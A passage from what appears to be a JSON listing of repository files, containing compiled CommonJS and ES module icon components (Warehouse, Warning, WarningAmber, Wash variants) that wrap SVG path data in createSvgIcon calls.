    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.35V19h-2v-8H6v8H4V8.35l8-3.2zM22 21V7L12 3 2 7v14h6v-8h8v8zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.35V19h-2v-8H6v8H4V8.35l8-3.2zM22 21V7L12 3 2 7v14h6v-8h8v8zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 19V8.35c0-.82-.5-1.55-1.26-1.86l-8-3.2c-.48-.19-1.01-.19-1.49 0l-8 3.2C2.5 6.8 2 7.54 2 8.35V19c0 1.1.9 2 2 2h3v-9h10v9h3c1.1 0 2-.9 2-2m-11 0H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 19V8.35c0-.82-.5-1.55-1.26-1.86l-8-3.2c-.48-.19-1.01-.19-1.49 0l-8 3.2C2.5 6.8 2 7.54 2 8.35V19c0 1.1.9 2 2 2h3v-9h10v9h3c1.1 0 2-.9 2-2m-11 0H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 21V7L12 3 2 7v14h5v-9h10v9zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 21V7L12 3 2 7v14h5v-9h10v9zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.35V19h-2v-8H6v8H4V8.35l8-3.2zM22 21V7L12 3 2 7v14h6v-8h8v8zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.35V19h-2v-8H6v8H4V8.35l8-3.2zM22 21V7L12 3 2 7v14h6v-8h8v8zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'WarehouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Warning.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'Warning');"
  },
  {
    "path": "packages/mui-icons-material/lib/Warning.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'Warning');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmber.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16h-2v2h2zm0-6h-2v5h2z\"\n}, \"1\")], 'WarningAmber');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmber.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16h-2v2h2zm0-6h-2v5h2z\"\n}, \"1\")], 'WarningAmber');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'WarningAmberOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'WarningAmberOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM2.74 18c-.77 1.33.19 3 1.73 3h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0zM11 11v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1m0 5h2v2h-2z\"\n}), 'WarningAmberRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM2.74 18c-.77 1.33.19 3 1.73 3h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0zM11 11v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1m0 5h2v2h-2z\"\n}), 'WarningAmberRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'WarningAmberSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.99 19.53 19H4.47zM12 2 1 21h22zm1 14h-2v2h2zm0-6h-2v4h2z\"\n}), 'WarningAmberSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm3.47-2L12 5.99 19.53 19zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}), 'WarningAmberTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningAmberTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm3.47-2L12 5.99 19.53 19zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}), 'WarningAmberTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'WarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'WarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.47 21h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0L2.74 18c-.77 1.33.19 3 1.73 3M12 14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m1 4h-2v-2h2z\"\n}), 'WarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.47 21h15.06c1.54 0 2.5-1.67 1.73-3L13.73 4.99c-.77-1.33-2.69-1.33-3.46 0L2.74 18c-.77 1.33.19 3 1.73 3M12 14c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m1 4h-2v-2h2z\"\n}), 'WarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'WarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm12-3h-2v-2h2zm0-4h-2v-4h2z\"\n}), 'WarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.47 19h15.06L12 5.99zM13 18h-2v-2h2zm0-4h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h22L12 2zm3.47-2L12 5.99 19.53 19zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'WarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.47 19h15.06L12 5.99zM13 18h-2v-2h2zm0-4h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h22L12 2zm3.47-2L12 5.99 19.53 19zM11 16h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'WarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 8C19.88 8 21 6.88 21 5.5 21 3.83 18.5 1 18.5 1S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8m-5 1c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5M9.12 5l-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5\"\n}), 'Wash');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 8C19.88 8 21 6.88 21 5.5 21 3.83 18.5 1 18.5 1S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8m-5 1c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5M9.12 5l-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5\"\n}), 'Wash');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm3.5-12c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1m0 5.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\"\n}), 'WashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm3.5-12c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1m0 5.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\"\n}), 'WashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.94 11.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03zM18.5 8C19.88 8 21 6.88 21 5.5c0-1.25-1.41-3.16-2.11-4.04a.489.489 0 0 0-.77 0C17.41 2.34 16 4.25 16 5.5 16 6.88 17.12 8 18.5 8m-5 1c.83 0 1.5-.67 1.5-1.5 0-.56-.67-1.49-1.11-2.04-.2-.25-.58-.25-.77 0C12.67 6.01 12 6.94 12 7.5c0 .83.67 1.5 1.5 1.5\"\n}), 'WashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.94 11.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03zM18.5 8C19.88 8 21 6.88 21 5.5c0-1.25-1.41-3.16-2.11-4.04a.489.489 0 0 0-.77 0C17.41 2.34 16 4.25 16 5.5 16 6.88 17.12 8 18.5 8m-5 1c.83 0 1.5-.67 1.5-1.5 0-.56-.67-1.49-1.11-2.04-.2-.25-.58-.25-.77 0C12.67 6.01 12 6.94 12 7.5c0 .83.67 1.5 1.5 1.5\"\n}), 'WashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.12 5 1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3zm4.38 4c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1\"\n}), 'WashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.12 5 1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3zm4.38 4c.83 0 1.5-.67 1.5-1.5 0-.84-1.5-2.5-1.5-2.5S12 6.66 12 7.5c0 .83.67 1.5 1.5 1.5m5-8S16 3.83 16 5.5C16 6.88 17.12 8 18.5 8S21 6.88 21 5.5C21 3.83 18.5 1 18.5 1\"\n}), 'WashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3zm8.5-14.5c-.55 0-1-.45-1-1 0-.4.43-1.22 1-2.05.57.83 1 1.65 1 2.05 0 .55-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 